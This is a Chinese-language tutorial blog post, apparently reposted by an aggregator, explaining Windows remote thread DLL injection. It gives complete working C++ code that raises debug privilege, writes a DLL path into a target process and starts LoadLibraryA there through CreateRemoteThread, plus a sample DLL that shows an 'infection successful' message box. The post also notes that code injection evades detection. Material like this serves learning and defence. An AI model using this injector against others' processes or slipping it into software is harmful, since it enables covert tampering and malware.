远程线程注入
Posted boqingchi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了远程线程注入相关的知识,希望对你有一定的参考价值。
分为Dll注入和代码注入,优缺点
- 代码注入: 是没有全局变量和没有使用IAT表的硬编码,放到哪里都能执行。
- 优点:不易被发现。 缺点:自己写函数十分麻烦。
- dll注入: 模块注入一整个进去
- 优点:全局函数IAT都在模块中,使用方便。缺点:容易被检测,特征太明显。
CreateThread和CreateRemoteThread 唯一不同的地方
远程线程注入原理
-
B 往 A注入需要提供线程函数的地址(需要在 A 中),和线程函数的参数(需要在 A 中)
-
线程函数是有格式要求的,返回类型是 DWORD ,调用约定是Win Api默认调用约定stdcall,参数是 void* 指针。满足这个要求才能调用,有个偶然 LoadLibrary 这个函数 返回值是个句(DWORD),参数虽然不是void* 但是可以转成void* 用。
-
所以在进程B中创建远程线程以后,直接把线程函数地址指向 LoadLibrary (A 进程中的地址),这个地址直接显式调用即可,因为这个模块是每个程序一定加载的,地址一样的。
-
LoadLibrary 需要一个参数,一个字符串地址,需要用 WriteProcessMemory 写入到 进程 A 中。就获得地址了。
-
自己执行 LoadLibrary 会获得一个模块句柄,远程线程注入可以通过 GetExitCodeThread 获取线程退出码获取。
注入流程
1 打开进程 OpenProcess
2 远程进程中申请空间 VirtualAllocEx
3 向远程进程写入数据 WriteProcessMemory
4 在远程进程中创建远程线程 CreateRemoteThread
5 等待线程结束返回 WaitForSingleObject
6 释放空间 VirtualFreeEx
dll注入代码
#include"pch.h"
#include<Windows.h>
#include<tlhelp32.h>
#include <assert.h>
#include<tchar.h>
#include <iostream>
//获取进程name的ID
DWORD GetPid(LPTSTR name)
{
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取进程快照句柄
assert(hProcSnap != INVALID_HANDLE_VALUE); //判断是否打开成功
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL flag = Process32First(hProcSnap, &pe32); //获取列表的第一个进程
while (flag)
{
if (!_tcscmp(pe32.szExeFile, name))
{
CloseHandle(hProcSnap);
return pe32.th32ProcessID;//pid
}
flag = Process32Next(hProcSnap, &pe32);//获取下一个进程
}
CloseHandle(hProcSnap);
printf("没有找到相关进程");
return 0;
}
// 提权函数:提升为DEBUG权限
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
int main()
{
EnableDebugPrivilege();
printf("输入要注入的进程名(.exe):
");
char cname[260] = {};
scanf_s("%s", cname, 260);
printf("输入dll路径(\\)");
char cpath[260];
scanf_s("%s", cpath,260);
DWORD Pid = 0;
Pid = GetPid((LPTSTR)cname);
// 用PID打开进程 参数1:权限 参数2:是否继承 参数3:PID
HANDLE Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
//2. 远程进程中申请空间
//参数1:进程句柄 参数2:起始地址(NULL函数决定分配到哪)
//参数3:要分配的大小(不够一页分一页) 参数4:内存分配类型(保留提交) 参数5:内存保护
LPVOID Address = VirtualAllocEx(Handle, NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//3.向远程进程写入数据
//也就是LoadLibrary的参数,即Dll的地址
//不同的系统使用到的 LoadLibrary 可能是 A/W 的,需要和字符串匹配
DWORD RealWrite = 0; //实际写入的地址
// 参数1:进程句柄 参数2:写入数据的起始地址 参数3:写入的数据 参数4:写入字节数 参数5:实际写入字节数
WriteProcessMemory(Handle, Address, cpath, strlen(cpath)+1, &RealWrite);
//4. 在目标进程内创建远程线程
//线程的起始位置是 LoadLibrary,在Windows下,所有 Windows API 在不同进程中的函数地址都是相同
//参数1:进程句柄 参数2:安全描述符(为0默认) 参数3:堆栈初始大小(为0默认)
//参数4:指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针
//参数5:函数的参数指针 参数6:控制线程创建的标志(为0立即执行) 参数7:指向接收线程标识符的变量的指针(为0不接收)
HANDLE Thread = CreateRemoteThread(Handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, Address, NULL, NULL);
//5.等待远程线程执行完毕
WaitForSingleObject(Thread, -1);
//6. 释放空间
//可以选择是否释放注入的模块
VirtualFreeEx(Handle, Address, NULL, MEM_RELEASE);
system("pause");
//释放句柄
CloseHandle(Thread);
CloseHandle(Handle);
return 0;
}
dll注入使用的dll代码
- 仅弹框
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //Dll被加载时
MessageBox(NULL, L"感染成功", L"潜伏", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
以上是关于远程线程注入的主要内容,如果未能解决你的问题,请参考以下文章